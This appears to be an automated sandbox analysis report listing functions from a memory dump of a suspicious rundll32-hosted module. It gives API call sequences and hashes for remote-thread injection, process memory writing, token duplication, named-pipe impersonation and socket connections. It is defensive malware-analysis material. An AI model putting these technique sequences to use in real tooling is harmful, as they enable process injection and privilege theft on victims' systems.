API String ID: 2004037343-0
Opcode ID: 11123beef46bbf676e11780d3f803d1ddb9d67603222f48ef1688e966405ce71
Instruction ID: 1b35bb2567c871da42e3d7498b9eea62f322cf4099e4ce4a197d8822ec5d2e36
Opcode Fuzzy Hash: 11123beef46bbf676e11780d3f803d1ddb9d67603222f48ef1688e966405ce71
Instruction Fuzzy Hash: 88119D7690011DBEEB219FE8DD049EFBBBCEF08250F500465FA44F6150E631EA088BB2

Uniqueness

Uniqueness Score: -1.00%

Function 010AA49C Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,010C60A8,?,?,?,010A5AC1), ref: 010AA4CF
CheckTokenMembership.ADVAPI32(00000000,?,010A5AC1,?,?,?,010A5AC1), ref: 010AA4E4
FreeSid.ADVAPI32(?,?,?,?,010A5AC1), ref: 010AA4F4

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 50d9d2a2c338b74b59d53c2e4d292279639f3ab8e493f4e6c3a796b4b6b12ce7
Instruction ID: cecd91b504b2320b0bb179dac3d0dc3da3c5d54e8651b63a039d4bdc25147823
Opcode Fuzzy Hash: 50d9d2a2c338b74b59d53c2e4d292279639f3ab8e493f4e6c3a796b4b6b12ce7
Instruction Fuzzy Hash: D5011D72945288FEDB11DBE88888ADEBFB8AB15200F5444DAB641B3242D2755744DB25

Uniqueness

Uniqueness Score: -1.00%

Function 010A67B6 Relevance: 4.5, APIs: 3, Instructions: 11memorythreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

DeleteProcThreadAttributeList.KERNELBASE(010A693D), ref: 010A67BC
GetProcessHeap.KERNEL32(00000000,010A693D,?,010A693D,00000000,?), ref: 010A67C7
HeapFree.KERNEL32(00000000,?,010A693D,00000000,?), ref: 010A67CE

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: Heap$AttributeDeleteFreeListProcProcessThread
String ID:
API String ID: 551783810-0
Opcode ID: b5fbd6063eded7bae4f53b9caba41c6f40b005c3025b395a17a1014e4e8ded13
Instruction ID: c964fad03a69521580d649f0e90af70e0d082a732358b229fd8f177ae0123505
Opcode Fuzzy Hash: b5fbd6063eded7bae4f53b9caba41c6f40b005c3025b395a17a1014e4e8ded13
Instruction Fuzzy Hash: DBC0023A044208FFCF212FE1E90DA897F29EF59652F048010FA4985256CB7B95909F91

Uniqueness

Uniqueness Score: -1.00%

Function 010C3B20 Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9920c0a60fd4803bf6684e67ec5cfc4b0da64b8553675f15ae60d9a73a87789f
Instruction ID: 93b638b9a29f1089b4377ef20452553cebd835b1eea4dac73b6007251f4ab7bf
Opcode Fuzzy Hash: 9920c0a60fd4803bf6684e67ec5cfc4b0da64b8553675f15ae60d9a73a87789f
Instruction Fuzzy Hash: E7127E31A101598FDB14CF5DD891ABDBBF1EF49301F04816AE496EB386CA39EA11DF50

Uniqueness

Uniqueness Score: -1.00%

Function 010C3550 Relevance: .4, Instructions: 406COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 888ad32e31699deacddd26377c64f302e3474ce65b94497b3b4e3bbb49e16228
Instruction ID: bcdec792faab9be17509e31baa853bb21665e25144284beb04a1c4db4bfeb366
Opcode Fuzzy Hash: 888ad32e31699deacddd26377c64f302e3474ce65b94497b3b4e3bbb49e16228
Instruction Fuzzy Hash: 96127C319101598FDB14CF9DD491ABDBBF1EF49300F48816EE496AB386C639EA11DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B49004 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_b40000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66815fa4e515433c11deb6288a89f5de42c04bc31794f64a68d3cfb98a76f997
Instruction ID: 9a964c6566b40228da9b81a01b4b2bbb2fd531725703908f5062b65c08271b49
Opcode Fuzzy Hash: 66815fa4e515433c11deb6288a89f5de42c04bc31794f64a68d3cfb98a76f997
Instruction Fuzzy Hash: 6991AF74E0121ADFCF08CF98C5909AEBBB2FF88315F248199D915AB315D331AA81DF95

Uniqueness

Uniqueness Score: -1.00%

Function 00B48374 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_b40000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66815fa4e515433c11deb6288a89f5de42c04bc31794f64a68d3cfb98a76f997
Instruction ID: 9925de681f0786a0f04ae561af7417d5604acbd85db76e3259a4989aaaabf746
Opcode Fuzzy Hash: 66815fa4e515433c11deb6288a89f5de42c04bc31794f64a68d3cfb98a76f997
Instruction Fuzzy Hash: D6919CB4E0121ACFCF08CF98C5909AEBBB2FF48305F248199E9116B315D734AA81DF95

Uniqueness

Uniqueness Score: -1.00%

Function 010A3541 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a0e62f61d2487343c68d546d0fed2b5e277ec55e342f27ca8efb465afa3f918
Instruction ID: cf5d08ac1d6b692b7a85a2d1c85f8d24c5cc4468943e47574959eef829f52848
Opcode Fuzzy Hash: 7a0e62f61d2487343c68d546d0fed2b5e277ec55e342f27ca8efb465afa3f918
Instruction Fuzzy Hash: D2418F35600601DFDB2ACF6DC891969BBE2FF89350B69C0ADE5DA8F312D231E941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 010B14EB Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _malloc
String ID:
API String ID: 1579825452-0
Opcode ID: fcc4b208fad940b96021dd8e75b238cc3df1f79bca6d11166ada322a224e453b
Instruction ID: 41c64cdc4e4ad0c9901210cb0fedf9d93fc80d92e781984e8840d5c8bcc6a352
Opcode Fuzzy Hash: fcc4b208fad940b96021dd8e75b238cc3df1f79bca6d11166ada322a224e453b
Instruction Fuzzy Hash: 83413C72E00209AFDB04DFA8D891AEEB7F5FF48310F198579E956E7345D634AA01CB50

Uniqueness

Uniqueness Score: -1.00%

Function 010A61BC Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 199networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

htonl.WS2_32(?), ref: 010A61F6
select.WS2_32(00000000,?,?,?,?), ref: 010A625A
__WSAFDIsSet.WS2_32(?,?), ref: 010A6276
accept.WS2_32(?,00000000,00000000), ref: 010A628B
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 010A629E

Part of subcall function 010A5E08: _malloc.LIBCMT ref: 010A5E0F
Part of subcall function 010A5E08: GetTickCount.KERNEL32 ref: 010A5E2F

Part of subcall function 010A0669: _malloc.LIBCMT ref: 010A066F

Part of subcall function 010A06B9: htonl.WS2_32(00000000), ref: 010A06BF

Part of subcall function 010A074B: _memset.LIBCMT ref: 010A0759

__WSAFDIsSet.WS2_32(?,?), ref: 010A632B
accept.WS2_32(?,00000000,00000000), ref: 010A633D
closesocket.WS2_32(?), ref: 010A6426

Strings

d, xrefs: 010A61D6

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _mallocaccepthtonl$CountTick_memsetclosesocketioctlsocketselect
String ID: d
API String ID: 4083423528-2564639436
Opcode ID: cd01c2bf6a5da8a324313df1c8fb6fe4d43055090f6274dd63d13df17f60f4cf
Instruction ID: 4239e78751370edb428b128463f94e406c2264487f7c129599f5855d0718920a
Opcode Fuzzy Hash: cd01c2bf6a5da8a324313df1c8fb6fe4d43055090f6274dd63d13df17f60f4cf
Instruction Fuzzy Hash: 1E714AB1C00609AFDB31EFE4CD84ADEBBF9EB44700F5445AAE595E2250DB32AA458F50

Uniqueness

Uniqueness Score: -1.00%

Function 010A259B Relevance: 13.6, APIs: 9, Instructions: 127threadinjectionCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 010A78CC: GetCurrentProcess.KERNEL32(?,010A25B9,55FF50D4,010A6912,00000000), ref: 010A78D8

GetThreadContext.KERNEL32(?,?,010A6912,00000000), ref: 010A25E1
GetLastError.KERNEL32 ref: 010A25EB
VirtualProtectEx.KERNEL32(55FF50D4,006A0875,?,00000004,?), ref: 010A2643
_malloc.LIBCMT ref: 010A2652
_memset.LIBCMT ref: 010A2661
_memset.LIBCMT ref: 010A2692
WriteProcessMemory.KERNEL32(55FF50D4,006A0875,00000000,?,010A2AC3), ref: 010A26B4
GetLastError.KERNEL32 ref: 010A26BE
_memset.LIBCMT ref: 010A26D3

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _memset$ErrorLastProcess$ContextCurrentMemoryProtectThreadVirtualWrite_malloc
String ID:
API String ID: 1169967047-0
Opcode ID: 0ec0c337993e5c2de6a50ae88f22b9acded3cab53b435f2c7beb2624cb48f837
Instruction ID: 88c421c04fadb6164010ae14348f1e113c0924e53021656237b04f5a6ceaee80
Opcode Fuzzy Hash: 0ec0c337993e5c2de6a50ae88f22b9acded3cab53b435f2c7beb2624cb48f837
Instruction Fuzzy Hash: B7418BB6500109BEEB21ABE5DC45EBF77BCEF08645F400465FAC1E2181EA36C951CB35

Uniqueness

Uniqueness Score: -1.00%

Function 010AA1B7 Relevance: 13.6, APIs: 9, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

htonl.WS2_32(010D6EA0), ref: 010AA1D3
OpenProcess.KERNEL32(00000400,00000000,00000000,010D6EA0), ref: 010AA1E2
GetLastError.KERNEL32 ref: 010AA1EE

Part of subcall function 010A9FCB: CloseHandle.KERNEL32(010D6E90), ref: 010A9FD5
Part of subcall function 010A9FCB: RevertToSelf.ADVAPI32 ref: 010A9FE2

OpenProcessToken.ADVAPI32(00000000,000F01FF,00000004), ref: 010AA20C
GetLastError.KERNEL32 ref: 010AA216
GetLastError.KERNEL32 ref: 010AA236
DuplicateTokenEx.ADVAPI32(00000004,02000000,00000000,00000003,00000001,010D6E90), ref: 010AA255
GetLastError.KERNEL32 ref: 010AA25F
GetLastError.KERNEL32 ref: 010AA277

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: ErrorLast$OpenProcessToken$CloseDuplicateHandleRevertSelfhtonl
String ID:
API String ID: 3106847028-0
Opcode ID: d604f08ff553891f5dae4a5cb552e3d921068081193119371427a3fef3a9b4ad
Instruction ID: e5bc3c0d8f35def2fbfd5c34abc78ccef2d51700e6a0265010c1c0e071e91236
Opcode Fuzzy Hash: d604f08ff553891f5dae4a5cb552e3d921068081193119371427a3fef3a9b4ad
Instruction Fuzzy Hash: 4731CC75640219FEEB3117E8DC08FAB3BACEB80742F400055FA81A6186DA739840CB20

Uniqueness

Uniqueness Score: -1.00%

Function 010A5F66 Relevance: 13.6, APIs: 9, Instructions: 101networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32 ref: 010A5F85
htons.WS2_32(00000000), ref: 010A5F96
socket.WS2_32(00000002,00000001,00000000), ref: 010A5FCF
closesocket.WS2_32(00000000), ref: 010A5FDE
gethostbyname.WS2_32(00000000), ref: 010A5FFC
htons.WS2_32(?), ref: 010A6028
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 010A603B
connect.WS2_32(00000000,?,00000010), ref: 010A604C
WSAGetLastError.WS2_32(00000000,?,00000010), ref: 010A6055

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: htons$ErrorLastclosesocketconnectgethostbynamehtonlioctlsocketsocket
String ID:
API String ID: 3339321253-0
Opcode ID: 58e79f8ee5a32fcb8aa80019dc2aa5729aba57acac35743433cea0b820628936
Instruction ID: 9309db268d9c7d10daabacd9075236650d37cd100abeb6ddf5e9b459aba2bf95
Opcode Fuzzy Hash: 58e79f8ee5a32fcb8aa80019dc2aa5729aba57acac35743433cea0b820628936
Instruction Fuzzy Hash: A13103B2E00119AEDB21ABE4DC84FEE77BCEF14714F440069F6C4E7181E67589008B65

Uniqueness

Uniqueness Score: -1.00%

Function 010A9B9D Relevance: 12.2, APIs: 8, Instructions: 158COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 010A9BAE

Part of subcall function 010B587E: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,010A9BB3,00000000), ref: 010B5889
Part of subcall function 010B587E: __aulldiv.LIBCMT ref: 010B58A9

_malloc.LIBCMT ref: 010A9BD7
_strncpy.LIBCMT ref: 010A9BF7
_strtok.LIBCMT ref: 010A9C0E
_strtok.LIBCMT ref: 010A9C2D

Part of subcall function 010B57BD: __getptd.LIBCMT ref: 010B57DB

__time64.LIBCMT ref: 010A9C3F
__time64.LIBCMT ref: 010A9CCE
__time64.LIBCMT ref: 010A9D6A

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: __time64$Time_strtok$FileSystem__aulldiv__getptd_malloc_strncpy
String ID:
API String ID: 2319056096-0
Opcode ID: 281508e4b94c06e45a756cd62d117e11ab6abe9a5b78bb71ec1e1bdc86e3fa61
Instruction ID: 4a9973a9312b69c07b3564ce4cfa6b3fd5cec581333a00b3aef2c6d94ea2cd65
Opcode Fuzzy Hash: 281508e4b94c06e45a756cd62d117e11ab6abe9a5b78bb71ec1e1bdc86e3fa61
Instruction Fuzzy Hash: BD514BB4A02655DFCB34EFA8E5804987BF5F748318B9081AEE9D58724DDB3B9580DF40

Uniqueness

Uniqueness Score: -1.00%

Function 010A537D Relevance: 12.1, APIs: 8, Instructions: 94pipesleepfileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,00100000,00000000,?,?,?,00000000,?,00000001,?,?,00000000), ref: 010A53B0
GetLastError.KERNEL32(?,?,?,00000000,?,00000001,?,?,00000000,?,?,00000000), ref: 010A53BD
WaitNamedPipeA.KERNEL32(?,00002710), ref: 010A53D2
Sleep.KERNEL32(000003E8,?,?,?,00000000,?,00000001,?,?,00000000,?,?,00000000), ref: 010A53DF
SetNamedPipeHandleState.KERNEL32(?,?,00000000,00000000,?,?,?,00000000,?,00000001,?,?,00000000,?,?,00000000), ref: 010A5429
GetLastError.KERNEL32(?,?,?,00000000,?,00000001,?,?,00000000,?,?,00000000), ref: 010A5433
DisconnectNamedPipe.KERNEL32(?), ref: 010A546D
CloseHandle.KERNEL32(?), ref: 010A5474

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: NamedPipe$ErrorHandleLast$CloseCreateDisconnectFileSleepStateWait
String ID:
API String ID: 1205494251-0
Opcode ID: baf057b96298f1a3852a964cc38835cde161405a598c6650ff796761711c1402
Instruction ID: 1a4fed4be917fdbbd081ad51af65d341b199124bb658784a6282ce345b354d9c
Opcode Fuzzy Hash: baf057b96298f1a3852a964cc38835cde161405a598c6650ff796761711c1402
Instruction Fuzzy Hash: 2221DB72604209AFE73127F4EC85BAE36ACFB44726FA44521FA92E61C1DE6798404B61

Uniqueness

Uniqueness Score: -1.00%

Function 010A2069 Relevance: 12.1, APIs: 8, Instructions: 58pipethreadfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 010A2086
GetLastError.KERNEL32 ref: 010A2099
ReadFile.KERNEL32(?,00000001,?,00000000), ref: 010A20C7
ImpersonateNamedPipeClient.ADVAPI32 ref: 010A20D7
GetCurrentThread.KERNEL32 ref: 010A20EC
OpenThreadToken.ADVAPI32(00000000), ref: 010A20F3
DisconnectNamedPipe.KERNEL32(010D206C), ref: 010A2107
CloseHandle.KERNEL32 ref: 010A2113

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: NamedPipeThread$ClientCloseCurrentDisconnectErrorFileHandleImpersonateLastOpenReadToken_memset
String ID:
API String ID: 4063829945-0
Opcode ID: 80a0023c23e10e567512d2d8896d607f03266abec1f812075f12541ce532e909
Instruction ID: e7d1e9b48937d867884001ded4e76e29aa8e9244aa98f0278efad9e8ed2cad5a
Opcode Fuzzy Hash: 80a0023c23e10e567512d2d8896d607f03266abec1f812075f12541ce532e909
Instruction Fuzzy Hash: 76114C75500209EFEB306BA4ED49A6A3BBDFB40346B584074BB81D2146DA3B9950CF70

Uniqueness

Uniqueness Score: -1.00%

Function 010A0A44 Relevance: 10.7, APIs: 7, Instructions: 191memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 010A0A52

Part of subcall function 010B41C7: __FF_MSGBANNER.LIBCMT ref: 010B41EA
Part of subcall function 010B41C7: __NMSG_WRITE.LIBCMT ref: 010B41F1
Part of subcall function 010B41C7: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,010D65EC,?,010A006E,00004008), ref: 010B423E

Part of subcall function 010A090A: _memset.LIBCMT ref: 010A0912

VirtualAlloc.KERNEL32(00000000,?,00003000,?,?,?,00000000), ref: 010A0AE5
_memset.LIBCMT ref: 010A0BF3
VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?,?,00000000), ref: 010A0C23

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: Virtual_memset$AllocAllocateFreeHeap_malloc
String ID:
API String ID: 2969144115-0
Opcode ID: 4d5ba5f763e5891db0c5b0290b180c6af3ed6e9d6dd6a0a5683790dc17ff0119
Instruction ID: c5205b1b6e3dc5cfede1f188aa8e3db73e7551f1a9363eaa4b2af9e41a1cc9fd
Opcode Fuzzy Hash: 4d5ba5f763e5891db0c5b0290b180c6af3ed6e9d6dd6a0a5683790dc17ff0119
Instruction Fuzzy Hash: 0351B676D0020DAFDF10EFE4DD419EE7BB9EF48214F544056F681B7285EA359A018BA4

Uniqueness

Uniqueness Score: -1.00%

Function 010B526C Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 010B52CE
_memcpy_s.LIBCMT ref: 010B5343
__fileno.LIBCMT ref: 010B53A3
__read.LIBCMT ref: 010B53AA
__filbuf.LIBCMT ref: 010B53CE
_memset.LIBCMT ref: 010B5414
_memset.LIBCMT ref: 010B543F

Part of subcall function 010B5D7A: __getptd_noexit.LIBCMT ref: 010B5D7A

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: f2748b9ac05738f6bab804d0fbd8377ff57ac150031be4a8a054e13d07a47c2c
Instruction ID: 4829bc9b8df9a7ac59a1fce70f0174bed4987029e91f356d15cf0e8c30604193
Opcode Fuzzy Hash: f2748b9ac05738f6bab804d0fbd8377ff57ac150031be4a8a054e13d07a47c2c
Instruction Fuzzy Hash: 56511230A01205EFDB219F698CC85DEBFB5EF92320F1486E9F8A592290E7709A51CB51

Uniqueness

Uniqueness Score: -1.00%

Function 010A41DA Relevance: 10.6, APIs: 7, Instructions: 114threadsleeplibraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(010CC644,010CC630,00000000,00000000), ref: 010A421F
GetProcAddress.KERNEL32(00000000), ref: 010A4226

Part of subcall function 010A414F: _malloc.LIBCMT ref: 010A416E
Part of subcall function 010A414F: VirtualAllocEx.KERNEL32(?,00000000,00000000,00003000,00000040,?,00000000,00000000,00000000,00000000,?), ref: 010A41A1
Part of subcall function 010A414F: WriteProcessMemory.KERNEL32(?,00000000,?,00000000,00000000,?,00000000,00000000,00000000,00000000,?), ref: 010A41B9

OpenThread.KERNEL32(001FFFFF,00000000,?,00000000,0000001C,00000004,00000000), ref: 010A428F
Thread32Next.KERNEL32(00000000,0000001C), ref: 010A42B5
Sleep.KERNEL32(000000C8), ref: 010A42C8
ReadProcessMemory.KERNEL32(00000000,00000000,010A3E43,00000010,010A4105), ref: 010A42DB
WriteProcessMemory.KERNEL32(00000000,00000000,010A3E43,00000010,00000010), ref: 010A4305

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: MemoryProcess$Write$AddressAllocHandleModuleNextOpenProcReadSleepThreadThread32Virtual_malloc
String ID:
API String ID: 2451734264-0
Opcode ID: 77730c484278bd39422f1eb832b71091f99e564dbdb704a84720f836915a84a5
Instruction ID: 143090cc5fe99dbd3b5c9cced388235b14d4f1199e7b13b0afe87c204c252a22
Opcode Fuzzy Hash: 77730c484278bd39422f1eb832b71091f99e564dbdb704a84720f836915a84a5
Instruction Fuzzy Hash: A5415B76900209BFEF20DFE8CC45AEEBBB8EB48700F544465FA45E6244D7B19A44CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 010A1E96 Relevance: 10.6, APIs: 7, Instructions: 103sleeppipeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,00000001,?,?,?,?,?,?,?,?,010A74C2), ref: 010A1F0C
Sleep.KERNEL32(000003E8,?,?,?,?,?,00000001,?,?,?,?,?,?,?,?,010A74C2), ref: 010A1F22
GetLastError.KERNEL32(?,?,?,?,?,00000001,?,?,?,?,?,?,?,?,010A74C2), ref: 010A1F2E
FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,?,?,?,?,?,010A74C2), ref: 010A1F9F
DisconnectNamedPipe.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,?,?,?,?,?,010A74C2), ref: 010A1FA8
CloseHandle.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,?,?,?,?,?,010A74C2), ref: 010A1FB1
Sleep.KERNEL32(000003E8,?,?,?,?,?,00000001,?,?,?,?,?,?,?,?,010A74C2), ref: 010A1FBC

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: ErrorLastSleep$BuffersCloseDisconnectFileFlushHandleNamedPipe
String ID:
API String ID: 621527651-0
Opcode ID: e3141575564f073add340a1b301e2fd4efdb315af930bf52dfb2ec13a330fa14
Instruction ID: 22fa7e4891aa97cfba6b08d4e7ce7b318713243c8f899e95acf761b267581522
Opcode Fuzzy Hash: e3141575564f073add340a1b301e2fd4efdb315af930bf52dfb2ec13a330fa14
Instruction Fuzzy Hash: 4C316D72D0010DAFDB21EBE4CC85AEEBBBCFB54201F5400A1E985E6195DB329E44CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 010A6AF0 Relevance: 10.6, APIs: 7, Instructions: 101threadCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 010A6B01
GetLastError.KERNEL32 ref: 010A6B10
UpdateProcThreadAttribute.KERNELBASE(?,00000000,00020000,?,00000004,00000000,00000000), ref: 010A6B3E
GetLastError.KERNEL32 ref: 010A6B48
CloseHandle.KERNEL32(00000000), ref: 010A6B59
GetCurrentProcess.KERNEL32(00000000,00000000,?,00000000,00000001,00000003), ref: 010A6B81
DuplicateHandle.KERNEL32(00000000), ref: 010A6B88

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: ErrorHandleLastProcess$AttributeCloseCurrentDuplicateOpenProcThreadUpdate
String ID:
API String ID: 852782177-0
Opcode ID: 60ede6a3c70be165257f841dfcf3f5095912b706b63ca94d41e40ffcdb79b28d
Instruction ID: 746a0ecfda9c39fd07aee575199d3ac312fcd3b0eaca5d2ddfb723fe22f19dc1
Opcode Fuzzy Hash: 60ede6a3c70be165257f841dfcf3f5095912b706b63ca94d41e40ffcdb79b28d
Instruction Fuzzy Hash: 6231A072610218BFEB319BA4DC89FAF3FADEF85751F180444FA419A281D67798418B60

Uniqueness

Uniqueness Score: -1.00%

Function 010A444F Relevance: 10.6, APIs: 7, Instructions: 85filelibraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(010CC660,010CC64C,00000000,?,?,?,010A4105,00000000,00000000), ref: 010A447C
GetProcAddress.KERNEL32(00000000), ref: 010A4483
CreateFileMappingA.KERNEL32(000000FF,00000000,00000040,00000000,00000000,00000000), ref: 010A449F
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,?,?,010A4105,00000000,00000000), ref: 010A44B5
UnmapViewOfFile.KERNEL32(00000000,?,?,?,?,010A4105,00000000,00000000), ref: 010A44F2
CloseHandle.KERNEL32(00000000,?,?,010A4105,00000000,00000000), ref: 010A44F9
GetLastError.KERNEL32(?,?,010A4105,00000000,00000000), ref: 010A4504

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: File$HandleView$AddressCloseCreateErrorLastMappingModuleProcUnmap
String ID:
API String ID: 2680503992-0
Opcode ID: 28ed90c1ea177499786ccded4fc2811fde91a85d7863ddb476698bbd5c30462e
Instruction ID: c39da5326f723592f9d53f036902a6f53a28cecad587b41491fb4aa0a4ebcdca
Opcode Fuzzy Hash: 28ed90c1ea177499786ccded4fc2811fde91a85d7863ddb476698bbd5c30462e
Instruction Fuzzy Hash: 1A21C276500228BFDB306BE59C4CDEF3F7CEF49A61F540515FA96E6182CA768500DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 010A439D Relevance: 10.6, APIs: 7, Instructions: 67threadinjectionlibraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000000), ref: 010A43AD
GetProcAddress.KERNEL32(00000000), ref: 010A43B4
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000), ref: 010A43E2
